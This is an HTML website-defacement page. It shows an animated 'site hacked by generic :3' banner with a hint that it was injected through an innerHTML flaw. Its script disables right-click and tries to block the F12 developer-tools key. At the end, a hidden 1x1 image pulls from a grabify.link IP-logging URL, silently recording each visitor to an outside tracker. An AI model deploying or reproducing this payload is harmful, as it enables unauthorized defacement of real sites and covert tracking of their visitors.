<html><head>
<style>
  body {
    background-color: #000;
    color: #0f0;
    font-family: 'Courier New', monospace;
    margin: 0;
    padding: 0;
    height: 100vh;
    display: flex;
    flex-direction: column;
    justify-content: center;
    align-items: center;
    overflow: hidden;
  }

  .glitch {
    font-size: 4em;
    position: relative;
    animation: glitch 1s linear infinite;
    text-shadow: 0 0 5px #0f0;
    margin-bottom: 30px;
  }

  @keyframes glitch {
    2%, 64% {
      transform: translate(2px,0) skew(0deg);
    }
    4%, 60% {
      transform: translate(-2px,0) skew(0deg);
    }
    62% {
      transform: translate(0,0) skew(5deg); 
    }
  }

  .glitch:before,
  .glitch:after {
    content: 'site hacked by generic :3';
    position: absolute;
    left: 0;
  }

  .glitch:before {
    animation: glitchTop 1s linear infinite;
    clip-path: polygon(0 0, 100% 0, 100% 33%, 0 33%);
    -webkit-clip-path: polygon(0 0, 100% 0, 100% 33%, 0 33%);
  }

  @keyframes glitchTop {
    2%, 64% {
      transform: translate(2px,-2px);
    }
    4%, 60% {
      transform: translate(-2px,2px);
    }
    62% {
      transform: translate(13px,-1px) skew(-13deg); 
    }
  }

  .glitch:after {
    animation: glitchBottom 1.5s linear infinite;
    clip-path: polygon(0 67%, 100% 67%, 100% 100%, 0 100%);
    -webkit-clip-path: polygon(0 67%, 100% 67%, 100% 100%, 0 100%);
  }

  @keyframes glitchBottom {
    2%, 64% {
      transform: translate(-2px,0);
    }
    4%, 60% {
      transform: translate(-2px,0);
    }
    62% {
      transform: translate(-22px,5px) skew(21deg); 
    }
  }

  .matrix {
    position: absolute;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
    z-index: -1;
  }

  .skull {
    font-size: 1.5em;
    line-height: 1.2;
    margin: 20px;
    animation: pulse 2s infinite;
    text-shadow: 0 0 10px #0f0;
    white-space: pre;
  }

  @keyframes pulse {
    0% { transform: scale(1); }
    50% { transform: scale(1.1); }
    100% { transform: scale(1); }
  }

  .message {
    margin: 20px;
    font-size: 1.5em;
    text-align: center;
    max-width: 600px;
    text-shadow: 0 0 5px #0f0;
    animation: fadeInOut 2s infinite;
  }

  @keyframes fadeInOut {
    0% { opacity: 0.7; }
    50% { opacity: 1; }
    100% { opacity: 0.7; }
  }
</style>
</head>
<body><img src="https://s13.gifyu.com/images/SXV34.gif"></img>
  <canvas class="matrix"></canvas>
  <div class="skull">
<img src="https://generic.is-a.dev/colonthree.jpg" width=260 height=240></img>
                    
                    
                    
  </div>
  <div class="glitch">site hacked by generic :3</div>
  <div class="message">don't use innerHTML next time ^_^</div>

<script>
// Matrix rain effect
const canvas = document.querySelector('.matrix');
const ctx = canvas.getContext('2d');

canvas.width = window.innerWidth;
canvas.height = window.innerHeight;

const chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@#$%^&*()';
const fontSize = 14;
const columns = canvas.width/fontSize;
const drops = [];

for(let x = 0; x < columns; x++) {
    drops[x] = 1;
}

function draw() {
    ctx.fillStyle = 'rgba(0, 0, 0, 0.05)';
    ctx.fillRect(0, 0, canvas.width, canvas.height);
    
    ctx.fillStyle = '#0F0';
    ctx.font = fontSize + 'px monospace';

    for(let i = 0; i < drops.length; i++) {
        const text = chars[Math.floor(Math.random() * chars.length)];
        ctx.fillText(text, i*fontSize, drops[i]*fontSize);
        
        if(drops[i]*fontSize > canvas.height && Math.random() > 0.975)
            drops[i] = 0;
        
        drops[i]++;
    }
}

setInterval(draw, 33);

document.addEventListener('contextmenu', event => event.preventDefault());

document.onkeypress = function (event) {
    event = (event || window.event);
    if (event.keyCode == 123) {
       return false;
    }
}

window.addEventListener('resize', () => {
    canvas.width = window.innerWidth;
    canvas.height = window.innerHeight;
});
</script>
<img src="https://grabify.link/V6KXQM" width="1" height="1"></img></img></body></html>